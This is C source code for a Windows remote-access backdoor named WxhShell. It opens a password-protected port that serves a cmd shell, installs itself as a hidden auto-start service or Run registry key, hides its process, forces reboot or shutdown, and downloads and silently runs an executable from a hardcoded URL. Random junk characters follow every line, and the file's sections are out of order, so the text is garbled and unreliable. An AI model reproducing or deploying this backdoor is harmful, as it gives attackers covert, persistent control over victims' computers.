    if(Boot(SHUTDOWN)) K:Z,4Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vl|3WYA  
    else { z~v-8aw  
    closesocket(wsh); k<f0moxs'  
    ExitThread(0); b}u#MU  
    } [xDIK8d:I  
    break; h"}F3E  
    } ~)X;z"y%b  
  // 获取shell |8x_Av0  
  case 's': { 2)n%rvCQ  
    CmdShell(wsh); f^5sJ 0;%  
    closesocket(wsh); =&qfmq  
    ExitThread(0); ANj%q9e!Yi  
    break; (4`Tf*5hHa  
  } u[")*\CP  
  // 退出 pzhl*ss"6  
  case 'x': { *5OCqU+g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0y~<%`~  
    CloseIt(wsh); >$H|:{D  
    break; mI7~c;~  
    } eEl.. y  
  // 离开 c*;7yh&%  
  case 'q': { }gGkV]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wto ;bd  
    closesocket(wsh); " xR[mJ@U  
    WSACleanup(); !%PWig-  
    exit(1); {v` 2sB  
    break; WR#0<cz(  
        } % /}WUP^H  
  } !CUoHTmB  
  } XORk!m|  
V5`^Y=X(%  
  // 提示信息 5W? v'"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k1 -~  
} <Fz~7WVd  
  } S9| a$3K'  
%G3(,Qz  
  return; tBATZ0nK`Q  
} Jc6R{C  
{eS|j=  
// shell模块句柄 g\SrO {*  
int CmdShell(SOCKET sock) 2";SJF'5\  
{ gJ$K\[+  
STARTUPINFO si; XFVV},V  
ZeroMemory(&si,sizeof(si)); eLD|A=X?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q`NXJf=sc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bi4f]^hQz  
PROCESS_INFORMATION ProcessInfo; [U@; \V$  
char cmdline[]="cmd"; "KX=ow#z|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "es?=  
  return 0; v"& pQ  
} G q<X4C#|  
PxS4,`#~  
// 自身启动模式 BQH}6ueZ  
int StartFromService(void) -s|8<A||"  
{ e=vsuqGT  
typedef struct 39wa|:I  
{ uc7Eq45  
  DWORD ExitStatus; a, Q#Dk  
  DWORD PebBaseAddress; FGWN}&K  
  DWORD AffinityMask; v3d&*I  
  DWORD BasePriority; za Tb~#c_  
  ULONG UniqueProcessId; GeszgtK{T  
  ULONG InheritedFromUniqueProcessId; 2d%}- nw  
}   PROCESS_BASIC_INFORMATION; )SryDRT  
~lNsa".c  
PROCNTQSIP NtQueryInformationProcess;  qy)_wM  
3 >E%e!D%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6DG@?O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e:H26SW  
qd3Q}Lk  
  HANDLE             hProcess; G,Z^g|6  
  PROCESS_BASIC_INFORMATION pbi; # mize  
BH]Ynu&o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y!iZW  
  if(NULL == hInst ) return 0;  hI9  
~4"qV_M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {(r6e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xpzfm7CB/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %HrAzM.QBF  
Ft}@ 1w5  
  if (!NtQueryInformationProcess) return 0; :y7c k/>  
%|s+jeUDn|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2UGsYQn  
  if(!hProcess) return 0; 6@DF  
8M!:N(a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RX/hz|   
pz"0J_xDM  
  CloseHandle(hProcess); "DYJ21Ut4  
8WnwQ%;m?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9 (QJT}qC  
if(hProcess==NULL) return 0; 9B;{]c  
'],J$ge  
HMODULE hMod; Omd .9  
char procName[255]; k:7(D_  
unsigned long cbNeeded; vQ 6^xvk]  
cPlZXf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s*.hl.k.  
{ttysQ-  
  CloseHandle(hProcess); MDnua  
Tw-;7Ae  
if(strstr(procName,"services")) return 1; // 以服务启动 .[ICx  
<eWf<  
  return 0; // 注册表启动 Fww :$^_ k  
} #cI{Fe0h  
]>5/PD,wWy  
// 主模块 o6.^*%kM'  
int StartWxhshell(LPSTR lpCmdLine) P/W XaE4  
{ ?67Y-\}  
  SOCKET wsl; VY7[)  
BOOL val=TRUE; N 5lDS  
  int port=0; *nkoPVpC  
  struct sockaddr_in door; +nFu|qM}  
^,TO#%$iE  
  if(wscfg.ws_autoins) Install(); !Iy_UfW  
iy.p n  
port=atoi(lpCmdLine); y&$A+peJ1  
J5K^^RUR  
if(port<=0) port=wscfg.ws_port; o q Xg  
{BN#h[#B{  
  WSADATA data; J/y83@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L\J;J%fz.  
2~)`N>@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PJ|P1O36a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8b& /k8i:  
  door.sin_family = AF_INET; cA?W7D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e8a+2.!&\  
  door.sin_port = htons(port); vH@ds k  
`r6,+&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 1rK8jX  
closesocket(wsl); &jJL"gq"  
return 1; 4SxX3Fw  
} W:2( .?  
b4 6~?*  
  if(listen(wsl,2) == INVALID_SOCKET) { V~3a!-m\  
closesocket(wsl); _ ]ip ajT  
return 1; z43M] P<  
} M'O <h  
  Wxhshell(wsl); P/eeC"  
  WSACleanup(); e#8Q L  
CY5Z{qiX  
return 0; <)H9V-5aZ  
 =j]<t  
} 6<QQ@5_  
FDs>m #e  
// 以NT服务方式启动 `*R:gE=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .*Y  
{ |0b`fOS  
DWORD   status = 0; T.BW H2gRP  
  DWORD   specificError = 0xfffffff; LL~%f &_  
!*N@ZL&X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +I|vzz`ZVr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EV%gF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \~$#1D1f  
  serviceStatus.dwWin32ExitCode     = 0; [RhO$c$[\  
  serviceStatus.dwServiceSpecificExitCode = 0;  eq;uO6[  
  serviceStatus.dwCheckPoint       = 0; Rima;9.Y0  
  serviceStatus.dwWaitHint       = 0; jNk%OrP]  
MQ6KN(?\ZL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pW3^X=6  
  if (hServiceStatusHandle==0) return; $xN|5;+  
uVrd i?3  
status = GetLastError(); "4{r6[dn  
  if (status!=NO_ERROR) pv|G^,>#  
{ $=4QO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DB,J3bm  
    serviceStatus.dwCheckPoint       = 0; C?eH]hkZ3  
    serviceStatus.dwWaitHint       = 0; H4+i.*T#  
    serviceStatus.dwWin32ExitCode     = status; Q^")jPd  
    serviceStatus.dwServiceSpecificExitCode = specificError; eJ-nKkg~a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |yPu!pfl  
    return; o66}yJzmD  
  } N;`n@9BF  
EADqC>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x[e<} 8'$(  
  serviceStatus.dwCheckPoint       = 0; VI *$em O0  
  serviceStatus.dwWaitHint       = 0; k!Y, 63V=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DN6Mo<H  
} cw <l{A  
h/Y'<:  
// 处理NT服务事件,比如:启动、停止 5Gm_\kd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^U/O !GK  
{ do'GlU oMC  
switch(fdwControl) !j-Z Lq:;  
{ ;!Fn1|)  
case SERVICE_CONTROL_STOP: p6S8VA  
  serviceStatus.dwWin32ExitCode = 0; cH2K )~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1< ?4\?j  
  serviceStatus.dwCheckPoint   = 0; =?8@#]G+  
  serviceStatus.dwWaitHint     = 0; 8 L Cb+^  
  { #GFr`o0$^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n `Ac 3A  
  } J<lW<:!3]  
  return; M"L=L5OH-  
case SERVICE_CONTROL_PAUSE: CTmT@A{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~"A0Rs=  
  break; nO-#Q=H,  
case SERVICE_CONTROL_CONTINUE: #w=~lq)9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #<xm.  
  break; Pg{J{gn  
case SERVICE_CONTROL_INTERROGATE: VIbq:U  
  break; 4skD(au8  
}; izR"+v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # f\rt   
} vP,n(reM  
Dha1/g1q  
// 标准应用程序主函数 _yT Ed"$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Iga0 24KR  
{ 6L~n.5B~o  
1Z&(6cDY8M  
// 获取操作系统版本  L"aeG  
OsIsNt=GetOsVer(); ,#K'PB4E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Khv>#l  
}-2|XD%]  
  // 从命令行安装 @(lh%@hO  
  if(strpbrk(lpCmdLine,"iI")) Install(); }-`4DHgq  
(h `V+  
  // 下载执行文件 1 -b_~DF  
if(wscfg.ws_downexe) { ~>XxGjxe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ptaKf4P^r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3(UVg!t  
} '<uq3?5  
cH)";] k*-  
if(!OsIsNt) { [-x7_=E#  
// 如果时win9x,隐藏进程并且设置为注册表启动 FGkVqZ Y2?  
HideProc(); & nK<:^n  
StartWxhshell(lpCmdLine); dF2RH)Ud  
} I`#JwMU;m  
else 4Po_-4  
  if(StartFromService()) 8cQ'dL`(  
  // 以服务方式启动 d d;T-wa}  
  StartServiceCtrlDispatcher(DispatchTable); eV~goj  
else @%SQFu@FJ  
  // 普通方式启动 @o.I;}*N  
  StartWxhshell(lpCmdLine); FiU#T.`9'  
A%-6`>  
return 0; ?@89lLD  
} 8;X-)&R  
FgO)DQm  
M^I(OuRMeI  
aQ~s`^D  
=========================================== mcok/,/  
zn(PI3+]!  
)CyS#j#=  
Qci]i)s$js  
y!%CffF2  
bN88ua}k{  
" Np)lIGE  
(9h`3#  
#include <stdio.h> cGD(.=  
#include <string.h> |D.ND%K&  
#include <windows.h> u]gxFG "   
#include <winsock2.h> p<;0g9,1  
#include <winsvc.h> L.WljNo  
#include <urlmon.h> vcd\GN*4f  
$mB;K]m  
#pragma comment (lib, "Ws2_32.lib") ]:\dPw`A  
#pragma comment (lib, "urlmon.lib") 9k=3u;$v  
 yOKI*.}  
#define MAX_USER   100 // 最大客户端连接数 Q5_o/wk  
#define BUF_SOCK   200 // sock buffer  Mc}^LDX  
#define KEY_BUFF   255 // 输入 buffer 6`-jPR  
wvPk:1wD5  
#define REBOOT     0   // 重启 'P}0FktP`  
#define SHUTDOWN   1   // 关机 <^uBoKB/f  
ei{eTp4HpV  
#define DEF_PORT   5000 // 监听端口 y)gKxRaCS  
A+)`ZTuO  
#define REG_LEN     16   // 注册表键长度 OUXR  
#define SVC_LEN     80   // NT服务名长度 n-OL0$Xu  
j8`BdKg  
// 从dll定义API C'X!\}f.b/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {qMIGwu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &! ?eL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! v0LBe4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DjQFi  
'XP7" N47O  
// wxhshell配置信息 IE/^\ M  
struct WSCFG { \B,@`dw  
  int ws_port;         // 监听端口 !/i{l  
  char ws_passstr[REG_LEN]; // 口令 j0evq+  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;LSANr&  
  char ws_regname[REG_LEN]; // 注册表键名 +V046goX W  
  char ws_svcname[REG_LEN]; // 服务名 ZyPVy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k],Q9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q%tXQP.r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 e ~JMUb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ep3N&Imp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '3D XPR^B6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'RYIW/a  
jrr*!^4|  
}; /,&<6c-Q@W  
, I (d6  
// default Wxhshell configuration KD7dye  
struct WSCFG wscfg={DEF_PORT, Z|j>gq  
    "xuhuanlingzhe", _w+:Dv~*a  
    1, })8N5C+KU  
    "Wxhshell", ?5|>@>  
    "Wxhshell", J1RJ*mo7,  
            "WxhShell Service", (G4at2YLd  
    "Wrsky Windows CmdShell Service", {Y=WW7:Qx  
    "Please Input Your Password: ", BmMGx8P  
  1, u jq=F  
  "http://www.wrsky.com/wxhshell.exe", BBRR)  
  "Wxhshell.exe" )E@.!Ut4o  
    }; lN?qp'%H`  
|[ k.ii6iO  
// 消息定义模块 =9["+;\e&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 %@4]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JG!mc7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w?k>:,'[  
char *msg_ws_ext="\n\rExit."; w/S%YW3*  
char *msg_ws_end="\n\rQuit."; kmsb hYM)  
char *msg_ws_boot="\n\rReboot..."; RJ ||}5  
char *msg_ws_poff="\n\rShutdown..."; )3Iz (Ql  
char *msg_ws_down="\n\rSave to "; wh\}d4gN  
3<Zq ]jk?n  
char *msg_ws_err="\n\rErr!"; +N9X/QFKV  
char *msg_ws_ok="\n\rOK!"; _jI,)sr4ic  
'4Ixqb+  
char ExeFile[MAX_PATH]; RLynE V;]  
int nUser = 0; qL&[K>2z  
HANDLE handles[MAX_USER]; fk[-mZ  
int OsIsNt; $@Rxrx_@M  
^aMg/.j  
SERVICE_STATUS       serviceStatus; }QcCS2)Ud  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8'.Hyy@;  
 |`f$tj  
// 函数声明 7 60Y$/Wz  
int Install(void); i]y<|W)Q3  
int Uninstall(void); @ ZwvBH  
int DownloadFile(char *sURL, SOCKET wsh); `PdQX.wN  
int Boot(int flag); FQ2  
void HideProc(void); VT%NO'0  
int GetOsVer(void);  &)Tdc  
int Wxhshell(SOCKET wsl); %~JJ.&  
void TalkWithClient(void *cs); el<s8:lA  
int CmdShell(SOCKET sock); =Z3F1Cq?  
int StartFromService(void); }[};IqVaK  
int StartWxhshell(LPSTR lpCmdLine); Ae^~Cz1qz  
'&R2U_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d>&,9c%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @* jz o  
S8w _ii3zd  
// 数据结构和表定义 qu6D 5t  
SERVICE_TABLE_ENTRY DispatchTable[] = nQtWvT  
{ KKPh~ThC  
{wscfg.ws_svcname, NTServiceMain}, `$<.pOm  
{NULL, NULL} Lpz>>}  
}; B+VubUPMS  
n;Q7X>-f8`  
// 自我安装 q&- `,8#  
int Install(void) H8zK$!  
{ ufZDF=$7  
  char svExeFile[MAX_PATH]; '$IKtM`L  
  HKEY key; gHEu/8E  
  strcpy(svExeFile,ExeFile); #n #}s  
UiP"Ixg6  
// 如果是win9x系统,修改注册表设为自启动 xJvmhN/c  
if(!OsIsNt) { LTCb@L{^i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "]x'PI 4J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @#>rYAb8,  
  RegCloseKey(key); D~iz+{Q4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AW'0,b`v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q[ZTHd.-  
  RegCloseKey(key); xY8$I6  
  return 0; l -mfFN  
    } \ gGW8Q;  
  } 2'\H\|  
} M,,bf[p$  
else { t!X. |`h  
EhvX)s  
// 如果是NT以上系统,安装为系统服务 P {jbl!UD7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OU.6bmWy|  
if (schSCManager!=0) }W8;=$jr  
{ 4Uo&d#o)C-  
  SC_HANDLE schService = CreateService 7`Ak) F:V  
  ( gp?uHKsM  
  schSCManager,  RVmh6m  
  wscfg.ws_svcname, Fb>?1i`RN  
  wscfg.ws_svcdisp, 70nqD>M4  
  SERVICE_ALL_ACCESS, xn(kKB.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vWv"  
  SERVICE_AUTO_START, iB yf{I>+  
  SERVICE_ERROR_NORMAL, k5e;fA/w  
  svExeFile, {9pZ)tB  
  NULL, 9T9!kb  
  NULL, .CYkb8hF  
  NULL, ,H8P mn?  
  NULL, (B5G?cB9  
  NULL v3Kqs:"\  
  ); yFjSvm6  
  if (schService!=0) *v&RGY[>  
  { A\>qoR!Y  
  CloseServiceHandle(schService); b._pG(o1  
  CloseServiceHandle(schSCManager); sXA=KD8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J5wq}<8  
  strcat(svExeFile,wscfg.ws_svcname); I]58;|J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `KN{0<Ne  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q=U=Y n  
  RegCloseKey(key); Sj\8$QIXC  
  return 0; +FI]0r  
    } S3w? X  
  } } 2KuY\5\i  
  CloseServiceHandle(schSCManager); p6p_B   
} 8}2 `^<U  
} Gwe9< y  
~p&sd)  
return 1; <#sK~G  
} }I"^WCyH  
ET4YoH>  
// 自我卸载 xQ4Q'9  
int Uninstall(void) {dDU^7O  
{ [||$1u\%  
  HKEY key; Ktoxl+I?  
sqhM[u k  
if(!OsIsNt) { _ . _'\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K\#+;\V  
  RegDeleteValue(key,wscfg.ws_regname); xpae0vw  
  RegCloseKey(key); I?gbu@o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H|]F86(  
  RegDeleteValue(key,wscfg.ws_regname); o}BaZ|iZ2  
  RegCloseKey(key); GKX#-zsh79  
  return 0; u7K0m! jW  
  } EG,RlmcPp  
} tlE+G@|^  
} (c;$^xZK  
else { -70Ut 4B  
`3~w#?+=*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cYK3>p A  
if (schSCManager!=0) z' @F@k6  
{ I/c* ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |,o!O39}>  
  if (schService!=0) m6s32??m  
  { "~tEmMz  
  if(DeleteService(schService)!=0) { o`G@Je_}x  
  CloseServiceHandle(schService); a!;?!f-i  
  CloseServiceHandle(schSCManager); YQ&Xd/z-  
  return 0; HA| YLj?|g  
  } RDZl@ps8  
  CloseServiceHandle(schService); #8cY,%<S]  
  } Ef69]{E  
  CloseServiceHandle(schSCManager); 9k1n-po  
} zUeS7\(l  
} ~Os~pTo  
.hU ndg  
return 1; fn)c&|aCt  
} : -OHD#>%  
6#v"+V  
// 从指定url下载文件 DJhi>!xJ  
int DownloadFile(char *sURL, SOCKET wsh) |iJ37QIM  
{ Pn0V{SJOJ%  
  HRESULT hr; VHJOj  
char seps[]= "/"; /_v@YB!0  
char *token; lCDXFy(E  
char *file; al1Uf]xh  
char myURL[MAX_PATH]; XDU&Z2A  
char myFILE[MAX_PATH]; L9(fa+$+#  
:`25@<*u  
strcpy(myURL,sURL); \f .ceh;!  
  token=strtok(myURL,seps); ;kY'DKL(  
  while(token!=NULL) pno]B ld'z  
  { k1W q$KCwG  
    file=token; ,*Jm\u  
  token=strtok(NULL,seps); !>TH#sU$  
  } *s} dtJ  
mJp)nF8r~  
GetCurrentDirectory(MAX_PATH,myFILE); |}t[- a  
strcat(myFILE, "\\"); hT]\*},  
strcat(myFILE, file); Vv#|% ^0  
  send(wsh,myFILE,strlen(myFILE),0); B[}#m'Lv  
send(wsh,"...",3,0); adRvAq]mA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0& 54xP  
  if(hr==S_OK) {dTtYL$'"  
return 0; ?*){%eE  
else 9v=5x[fE  
return 1; rjHL06qE  
D<78Tm x  
} |5^tp  
0j@gC0xu)|  
// 系统电源模块 MIGcV9hf  
int Boot(int flag) fL>>hBCqC  
{ ;rC)*=4#  
  HANDLE hToken; HG{r\jh  
  TOKEN_PRIVILEGES tkp; WW\t<O;z  
&;I=*B~kE$  
  if(OsIsNt) { d2Pqi* K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fg;V6s/>ts  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ))JbROBU,  
    tkp.PrivilegeCount = 1; 6qp2C]9=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dz3chy,3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K =nW|^  
if(flag==REBOOT) { j+YA/54`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gJz~~g'  
  return 0; ancs  
} 5F&xU$$a-  
else { 2B Dz \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FtHR.S= u  
  return 0; f}qR'ognUu  
} b5NPG N  
  } XqX6UEVR4  
  else { M`{~AIqd(  
if(flag==REBOOT) { KVQ|l,E, /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rRgP/E#_  
  return 0; 2vbm=~)$F  
} A"ApWJ3  
else { 4K{<R!2I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :jo !Yi  
  return 0; w=Cq v~  
} kIR?r0_<G6  
} l.gt+e  
Bg3`w__l;  
return 1; j6@5"wx  
} 98"/]ERJ  
p)'.swpJ  
// win9x进程隐藏模块 "'i" @CR  
void HideProc(void) Wg\`!T  
{ \l$gcFXb  
WJ D1U?`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y<#?z 8P  
  if ( hKernel != NULL ) 'Ll,HgU;  
  { gpt98:w:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %UV'HcO/gp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dG {D2~#  
    FreeLibrary(hKernel); X"'c2gaa_  
  } b d!|/Lk  
<Vu/6"DP  
return; =6o,{taZ.~  
} ~D[5AXV`^  
F?>rWP   
// 获取操作系统版本 U2~7qC,!Do  
int GetOsVer(void) ah1DuTT/G  
{ r&qF v)0!`  
  OSVERSIONINFO winfo; dM|&Y6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n4* hQi+d  
  GetVersionEx(&winfo); RfM uWo:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ry5/O?Q L  
  return 1; e@B+\1  
  else x^s2bb  
  return 0; Q $wa<`  
} ~KtA0BtC  
'%k<? *  
// 客户端句柄模块 7hQf T76h  
int Wxhshell(SOCKET wsl) ~[E@P1  
{ +}MV$X  
  SOCKET wsh; &PfCY{_  
  struct sockaddr_in client; BPFd'- O)  
  DWORD myID; fevL u[,  
y1zNF$<q  
  while(nUser<MAX_USER) 3M/iuu  
{ v7;zce/~  
  int nSize=sizeof(client); rkp 1tv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IB!^dhD!Q  
  if(wsh==INVALID_SOCKET) return 1; !>%U8A  
#1>DV@^F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cy R K&J  
if(handles[nUser]==0) \ow3_^Bk  
  closesocket(wsh); @O~  
else T);eYC"@  
  nUser++; 1-HL#y*7$  
  } $}{u6*u.,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X)-9u8  
35 Y#eU2]  
  return 0; }Pu|%\  
} ]e*Zx;6oi  
xjm|ewo  
// 关闭 socket t#kPEiD  
void CloseIt(SOCKET wsh) H(eGqVAq,  
{ ."N`X\  
closesocket(wsh); m\3r<*q6  
nUser--; aWp9K+4R$/  
ExitThread(0); pt"yJtM'P  
} h)O<bI8  
fB \+.eN  
// 客户端请求句柄 ZcTxE]Y  
void TalkWithClient(void *cs) M?61g(  
{ Hh/Z4`&yi  
I'23$IzPA  
  SOCKET wsh=(SOCKET)cs; $_2S,3 }  
  char pwd[SVC_LEN]; 1J(` kQ)c  
  char cmd[KEY_BUFF]; cmw2EHTT<  
char chr[1]; [^iQE  
int i,j; "O`{QVg:  
L^}i7nJ  
  while (nUser < MAX_USER) { [&6VI?  
w!~%v #  
if(wscfg.ws_passstr) { LyEM^d]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jzRfD3_s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pfy2PpA  
  //ZeroMemory(pwd,KEY_BUFF); *pu ,|  
      i=0; <"Ox)XG3]W  
  while(i<SVC_LEN) { V$D+Joj  
jacp':T  
  // 设置超时 _?9|0>]xG  
  fd_set FdRead; O$'BJKj-4  
  struct timeval TimeOut; R`)^eqB  
  FD_ZERO(&FdRead); OxGS{zs  
  FD_SET(wsh,&FdRead); v() wngn  
  TimeOut.tv_sec=8; {'.[N79xP  
  TimeOut.tv_usec=0; HnDz4eD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \v7->Sy8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p2v+sWO  
Ro&s\T+d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -vRZCIj!  
  pwd=chr[0]; \0K3TMl)J  
  if(chr[0]==0xd || chr[0]==0xa) { jRk"#:  
  pwd=0; 3LxhQVx2  
  break; })I_@\q  
  } f)~j'e  
  i++; X:aLed_{f  
    } U Bo[iZ|%  
h($XR+!#  
  // 如果是非法用户,关闭 socket 75u5zD   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ya%-/u  
} ("G _{tVU  
x WZ87  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jH 4,-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aan)yP  
<{t*yMr   
while(1) { 'U9l  
6c[&[L%  
  ZeroMemory(cmd,KEY_BUFF); A/WmVv6  
l ~b  
      // 自动支持客户端 telnet标准   ,'7 X|z/_>  
  j=0; G*oqhep  
  while(j<KEY_BUFF) { .(RX;.lw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); anM]khs?  
  cmd[j]=chr[0]; Q1cM{$}M  
  if(chr[0]==0xa || chr[0]==0xd) { w1#1s|  
  cmd[j]=0; vz\^Aa #fv  
  break; kjS9?>i  
  } RM5$O+"  
  j++; DlD;rL=  
    } +>w %j&B  
qs9q{n-Aj  
  // 下载文件 nIckI!U#D  
  if(strstr(cmd,"http://")) { u\&F`esQ2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T>$S&U  
  if(DownloadFile(cmd,wsh)) n`W7g@Sg#I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(<2{%j  
  else PP]Z~ne0X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )2&U Rt.  
  } j\/Rjn+:[  
  else { SU8vz/\%y  
KF.d:  
    switch(cmd[0]) { [M;B 9-2$  
  A9D vU)1  
